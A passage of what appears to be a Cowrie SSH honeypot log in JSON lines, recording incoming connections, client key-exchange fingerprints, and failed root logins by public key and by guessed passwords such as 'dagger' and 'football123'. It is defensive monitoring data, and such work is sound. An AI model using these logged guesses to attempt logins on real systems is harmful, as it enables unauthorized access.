sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:23.718691Z","src_ip":"74.48.69.130","session":"c59a23439a37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:08:60:92:26:b1:46:8c:d1:ca:c0:89:1c:75:4c:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa4n/WC04kF7VrSn+55Rwd+xvH0u6l77znvxCnE+ys1Bfl+wtVCxMGF99TSyS1hDEQYT955vSofe29DH8LeYaUGcc+bkmph0hi+EbJicij20Vx+5hWnPjKII0hkC2zBx8hNom7R59yw3W+Roa24QsgTapfWpGlb8cACkYSNN8iDZ5WyHGKd5gEmLgqAMl7r0pWHQIyiCW9qrs165XpJBeCBQQoQH2CZRdggk8WqROqEEwmNpLYwGiTMjAJTdP2tdzMZAgGezR/Gj2P6dz6GQzrXwGNmgp340HndNo1awKP8qgm2KIyf8N0YSLTbEh8omVQcAnYmyJIPnBR1hURWKrJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:08:60:92:26:b1:46:8c:d1:ca:c0:89:1c:75:4c:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:24.036265Z","src_ip":"74.48.69.130","session":"c59a23439a37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:08:60:92:26:b1:46:8c:d1:ca:c0:89:1c:75:4c:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCa4n/WC04kF7VrSn+55Rwd+xvH0u6l77znvxCnE+ys1Bfl+wtVCxMGF99TSyS1hDEQYT955vSofe29DH8LeYaUGcc+bkmph0hi+EbJicij20Vx+5hWnPjKII0hkC2zBx8hNom7R59yw3W+Roa24QsgTapfWpGlb8cACkYSNN8iDZ5WyHGKd5gEmLgqAMl7r0pWHQIyiCW9qrs165XpJBeCBQQoQH2CZRdggk8WqROqEEwmNpLYwGiTMjAJTdP2tdzMZAgGezR/Gj2P6dz6GQzrXwGNmgp340HndNo1awKP8qgm2KIyf8N0YSLTbEh8omVQcAnYmyJIPnBR1hURWKrJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:24.040006Z","src_ip":"74.48.69.130","session":"c59a23439a37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:b5:3a:84:40:a0:78:0d:a4:2c:64:35:6f:ac:14:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8IfO8Ou57iXs+OnbJZUbXKJEt76iNJSuRc2xMIFm0hoWayALq4p22zynUAEAXOODEuHk6Lgzqw0EsJjzE8QIhML1G8k0RrTF7wpBuTEMaY8FiB9Ild6WoAjHD1MJnXdlg2KxSgMP/KzUJWhDGpywzdjfaM5SVLIIWJXef4TJCJmSl0dAzIo0GhDned5L4t21ag5tM7nGcyxisEV6DZ660HkOYjEvxIW1n8akG7v6dCHOSsIV7UHHehaSMlkfB80ujv/i3xT8yZ3nc871MmUisglKuC9LSeZcjcTeeZLPQ7hfWMf9Bdi3iwZKFyaExeWZamGhDcN4wmcPywoGWBM6AqgLrt99baE74+PaFPbTVDNq748XDJeZ5+zm5mP4zuzVx74w6/KIYxdjH05Oxnt2uyYUB+2kr6lL362iGOptEHlwyb8HN33KCmrFJ+BaPb1vH4QL2NIXz9dowEE1HbFkPQbhMhTF/Dw6XRgAFnlnsstKr8sw1xo3W/peL2XkbwQHzY+4A0nlMvQxtlEZMY9gZhozi5JCUsTr9wdjOybUzmGcVcr7UnIhrJ/VBBm000feNLPJTG0DWI+/4WOTGSlToYMZ4ow3STv3eJ38MA2iUohYr05piRw7LDq4kWKPFJLdrDALnHQfeQY262GcY5NPyjxbO1IELIUNVNaG9gjW7VQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:b5:3a:84:40:a0:78:0d:a4:2c:64:35:6f:ac:14:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:24.108133Z","src_ip":"74.48.69.130","session":"c59a23439a37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:b5:3a:84:40:a0:78:0d:a4:2c:64:35:6f:ac:14:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8IfO8Ou57iXs+OnbJZUbXKJEt76iNJSuRc2xMIFm0hoWayALq4p22zynUAEAXOODEuHk6Lgzqw0EsJjzE8QIhML1G8k0RrTF7wpBuTEMaY8FiB9Ild6WoAjHD1MJnXdlg2KxSgMP/KzUJWhDGpywzdjfaM5SVLIIWJXef4TJCJmSl0dAzIo0GhDned5L4t21ag5tM7nGcyxisEV6DZ660HkOYjEvxIW1n8akG7v6dCHOSsIV7UHHehaSMlkfB80ujv/i3xT8yZ3nc871MmUisglKuC9LSeZcjcTeeZLPQ7hfWMf9Bdi3iwZKFyaExeWZamGhDcN4wmcPywoGWBM6AqgLrt99baE74+PaFPbTVDNq748XDJeZ5+zm5mP4zuzVx74w6/KIYxdjH05Oxnt2uyYUB+2kr6lL362iGOptEHlwyb8HN33KCmrFJ+BaPb1vH4QL2NIXz9dowEE1HbFkPQbhMhTF/Dw6XRgAFnlnsstKr8sw1xo3W/peL2XkbwQHzY+4A0nlMvQxtlEZMY9gZhozi5JCUsTr9wdjOybUzmGcVcr7UnIhrJ/VBBm000feNLPJTG0DWI+/4WOTGSlToYMZ4ow3STv3eJ38MA2iUohYr05piRw7LDq4kWKPFJLdrDALnHQfeQY262GcY5NPyjxbO1IELIUNVNaG9gjW7VQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:24.111771Z","src_ip":"74.48.69.130","session":"c59a23439a37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:ea:07:21:db:1b:ac:8a:5c:a1:f0:3d:7b:35:be:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVi2t5qPM8Gz9U3/xMgDwUAbeV92sDj9TmgPhklwlTq4fuzxQtJd5BYQqJ8mT2yfkby99bnIHwL9IZPaFH0+iPdLePc+aCqNv9Fzi35LM9GsP+RMVh20OPHlhhC+aWA6fE5d0SQFjiCcJ81CSExZf4F57VKDOmQgTogzQn8QOTZ6DWtoEPaie18b2lF052WqoU3Vr0GAat9KMPf1f59g/WbJJYIKdWPLc4rRAswNn393izdeZ9RIZkniIxUYKdeCgDBk4irahedS2a8vAqqEWQOdY3suG3ZqGthTZmFMsi2ufZdwBv9NBUVW1KdhSk+nCnKjRfN0rL+Q84RMcalG3LmoV2WGlBvVb5hX1pFVdt8JLyK4k7oLeNdfiCPC9o+lhSwJ8DcJm0MFcPRQDu/P5VhU37Mzr4RmRBBScZrwzolaIS/TMDUOMiPnze56++cF6e+I9VNiox7lJbCAdK1JCyv8y6LfKHMkL7IzVJ3p/A8OlTLvgGKVb+oTC8zHwcM6fyDTsIZlqTyKIJhnXkBNa0tgTcQkYQ+brqbWz1g9ElzkXptyTNY4fcITG2z3xelYJcgl6vXsJ8ymvlqX/PWWxbzjOGmN/Voti7jU+wdQcyueflcVNc7XoVl4XPvVCRR82ts+WsApjHArVZlemV0eS6ukILmN/wJb/zXsMVFMZagQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:ea:07:21:db:1b:ac:8a:5c:a1:f0:3d:7b:35:be:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:24.182214Z","src_ip":"74.48.69.130","session":"c59a23439a37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:ea:07:21:db:1b:ac:8a:5c:a1:f0:3d:7b:35:be:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVi2t5qPM8Gz9U3/xMgDwUAbeV92sDj9TmgPhklwlTq4fuzxQtJd5BYQqJ8mT2yfkby99bnIHwL9IZPaFH0+iPdLePc+aCqNv9Fzi35LM9GsP+RMVh20OPHlhhC+aWA6fE5d0SQFjiCcJ81CSExZf4F57VKDOmQgTogzQn8QOTZ6DWtoEPaie18b2lF052WqoU3Vr0GAat9KMPf1f59g/WbJJYIKdWPLc4rRAswNn393izdeZ9RIZkniIxUYKdeCgDBk4irahedS2a8vAqqEWQOdY3suG3ZqGthTZmFMsi2ufZdwBv9NBUVW1KdhSk+nCnKjRfN0rL+Q84RMcalG3LmoV2WGlBvVb5hX1pFVdt8JLyK4k7oLeNdfiCPC9o+lhSwJ8DcJm0MFcPRQDu/P5VhU37Mzr4RmRBBScZrwzolaIS/TMDUOMiPnze56++cF6e+I9VNiox7lJbCAdK1JCyv8y6LfKHMkL7IzVJ3p/A8OlTLvgGKVb+oTC8zHwcM6fyDTsIZlqTyKIJhnXkBNa0tgTcQkYQ+brqbWz1g9ElzkXptyTNY4fcITG2z3xelYJcgl6vXsJ8ymvlqX/PWWxbzjOGmN/Voti7jU+wdQcyueflcVNc7XoVl4XPvVCRR82ts+WsApjHArVZlemV0eS6ukILmN/wJb/zXsMVFMZagQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:24.185622Z","src_ip":"74.48.69.130","session":"c59a23439a37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:dc:32:a7:6a:2d:25:31:0d:d7:8a:5c:d7:18:fd:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHMIa0lrYxdrHmGl7SEAy2lbM7BnK+fUiG3qgpOzvle5Q5vYYdpds3KlD8GHb55h1eiFjPXg6HLg7OcWytcfuduOmTIpmXWJUWI4DPGdR5C5GaQ32IvJjDaNkE7QXTyrE/5xsLr+hKGaSMuv71fRPc38XHI5+yJDRgR5BygUhPY4NXBEQBOkadJcZJ5IuP2beS4Sfuidfh/dgaptMD6e2p+JxA73ADoULk1qwEryzOd+Ut2z3Mah7fLYaEK2Imfbg1zwJ7jbU8rvnz+pNBRtHwWmVscmp5G3vNzBR6j629bhVLeJbsoEi81v81wIOSpt4cU+lclrnB8FQnaqPjiZIp9KBqZBFKd/wmVkMCtAJcvKoV7+r78gBtsTFt7mLrL2f8Nrsz7RqDuwyDDYt5zQ9wY2BZ7DmFWZ7zVlVLKYBLoIy1SLQ9+IsSBnc9KdQj16xs1Xr2/nWGx3SlYPcYI5rLtrecSjnpIKIVrxt4Uyx0NJ7HqOu3l88n4FBnGYFAKeFDP/QfcEkbBLwo74Uga64Va7tH0gNUTIWKILIy0nef25cNWoXgcJI8pMNpav3IclKF4Gbf/Igu/A8ElggU8UF9gvNs8MkxdN3ZsvQueayDYjZFbJMJSwLODNqFDYKJDAwKnn2svZZt7hcBz6UTlDMp4adr4GIAwRQoaGFxVHi8tQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:dc:32:a7:6a:2d:25:31:0d:d7:8a:5c:d7:18:fd:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:24.253737Z","src_ip":"74.48.69.130","session":"c59a23439a37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:dc:32:a7:6a:2d:25:31:0d:d7:8a:5c:d7:18:fd:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHMIa0lrYxdrHmGl7SEAy2lbM7BnK+fUiG3qgpOzvle5Q5vYYdpds3KlD8GHb55h1eiFjPXg6HLg7OcWytcfuduOmTIpmXWJUWI4DPGdR5C5GaQ32IvJjDaNkE7QXTyrE/5xsLr+hKGaSMuv71fRPc38XHI5+yJDRgR5BygUhPY4NXBEQBOkadJcZJ5IuP2beS4Sfuidfh/dgaptMD6e2p+JxA73ADoULk1qwEryzOd+Ut2z3Mah7fLYaEK2Imfbg1zwJ7jbU8rvnz+pNBRtHwWmVscmp5G3vNzBR6j629bhVLeJbsoEi81v81wIOSpt4cU+lclrnB8FQnaqPjiZIp9KBqZBFKd/wmVkMCtAJcvKoV7+r78gBtsTFt7mLrL2f8Nrsz7RqDuwyDDYt5zQ9wY2BZ7DmFWZ7zVlVLKYBLoIy1SLQ9+IsSBnc9KdQj16xs1Xr2/nWGx3SlYPcYI5rLtrecSjnpIKIVrxt4Uyx0NJ7HqOu3l88n4FBnGYFAKeFDP/QfcEkbBLwo74Uga64Va7tH0gNUTIWKILIy0nef25cNWoXgcJI8pMNpav3IclKF4Gbf/Igu/A8ElggU8UF9gvNs8MkxdN3ZsvQueayDYjZFbJMJSwLODNqFDYKJDAwKnn2svZZt7hcBz6UTlDMp4adr4GIAwRQoaGFxVHi8tQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:24.257233Z","src_ip":"74.48.69.130","session":"c59a23439a37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:10:1c:3b:81:ca:8f:96:ce:a4:3c:b1:e7:06:f7:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyP3KkF99CatHbQiNOeQ/AxMkHYs8HqAHnvHfw3lWsVNpvNpR6CjE3KbhGng4v1PAThL2gEH2MO2nThwgjnkCqK8ODUto+OGiGAlYSBYGbnOVSdJYcO65a88HtMmCYZTfZ5O5HoF+vOGJi6+iZ7cb1RLVZ7yANmobW9EE22dQjz5wk8S6vuLAWJZ8IE15/ud7Nxv+IOxYPmy9xq1qzbrF/mLbLsi1jYJU4yuOdUQVXhZS5u+ga7bIwwWs41dM8uMWpRMbb434xDq72xOgG/HVScUlFrIB7RZXZl84H9j+yffmyZEvEXeW12ICJY5C7uTt2wMpZgTU3MpoynAQMrQeTQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:10:1c:3b:81:ca:8f:96:ce:a4:3c:b1:e7:06:f7:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:24.326296Z","src_ip":"74.48.69.130","session":"c59a23439a37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:10:1c:3b:81:ca:8f:96:ce:a4:3c:b1:e7:06:f7:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyP3KkF99CatHbQiNOeQ/AxMkHYs8HqAHnvHfw3lWsVNpvNpR6CjE3KbhGng4v1PAThL2gEH2MO2nThwgjnkCqK8ODUto+OGiGAlYSBYGbnOVSdJYcO65a88HtMmCYZTfZ5O5HoF+vOGJi6+iZ7cb1RLVZ7yANmobW9EE22dQjz5wk8S6vuLAWJZ8IE15/ud7Nxv+IOxYPmy9xq1qzbrF/mLbLsi1jYJU4yuOdUQVXhZS5u+ga7bIwwWs41dM8uMWpRMbb434xDq72xOgG/HVScUlFrIB7RZXZl84H9j+yffmyZEvEXeW12ICJY5C7uTt2wMpZgTU3MpoynAQMrQeTQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:24.330149Z","src_ip":"74.48.69.130","session":"c59a23439a37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:24.398850Z","src_ip":"74.48.69.130","session":"c59a23439a37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":38210,"dst_ip":"10.17.0.5","dst_port":22,"session":"0165919deee0","protocol":"ssh","message":"New connection: 103.96.74.162:38210 (10.17.0.5:22) [session: 0165919deee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:34.826206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:34.831186Z","src_ip":"103.96.74.162","session":"0165919deee0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:35.046285Z","src_ip":"103.96.74.162","session":"0165919deee0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chinacache","message":"login attempt [root/chinacache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:35.682317Z","src_ip":"103.96.74.162","session":"0165919deee0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:36.991491Z","src_ip":"103.96.74.162","session":"0165919deee0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":33422,"dst_ip":"159.203.135.109","dst_port":22,"session":"00dff2c8e4cb","protocol":"ssh","message":"New connection: 43.134.112.237:33422 (159.203.135.109:22) [session: 00dff2c8e4cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:39.754871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:39.760055Z","src_ip":"43.134.112.237","session":"00dff2c8e4cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:39.998123Z","src_ip":"43.134.112.237","session":"00dff2c8e4cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dagger","message":"login attempt [root/dagger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:40.983416Z","src_ip":"43.134.112.237","session":"00dff2c8e4cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:42.225554Z","src_ip":"43.134.112.237","session":"00dff2c8e4cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":40110,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6effc2f4c5f","protocol":"ssh","message":"New connection: 217.154.42.110:40110 (159.203.135.109:22) [session: d6effc2f4c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:42.876592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:42.881012Z","src_ip":"217.154.42.110","session":"d6effc2f4c5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:42.960302Z","src_ip":"217.154.42.110","session":"d6effc2f4c5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":40800,"dst_ip":"159.203.135.109","dst_port":22,"session":"5445272247a1","protocol":"ssh","message":"New connection: 43.128.106.207:40800 (159.203.135.109:22) [session: 5445272247a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:43.107795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:43.116481Z","src_ip":"43.128.106.207","session":"5445272247a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"football123","message":"login attempt [root/football123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:43.307745Z","src_ip":"217.154.42.110","session":"d6effc2f4c5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa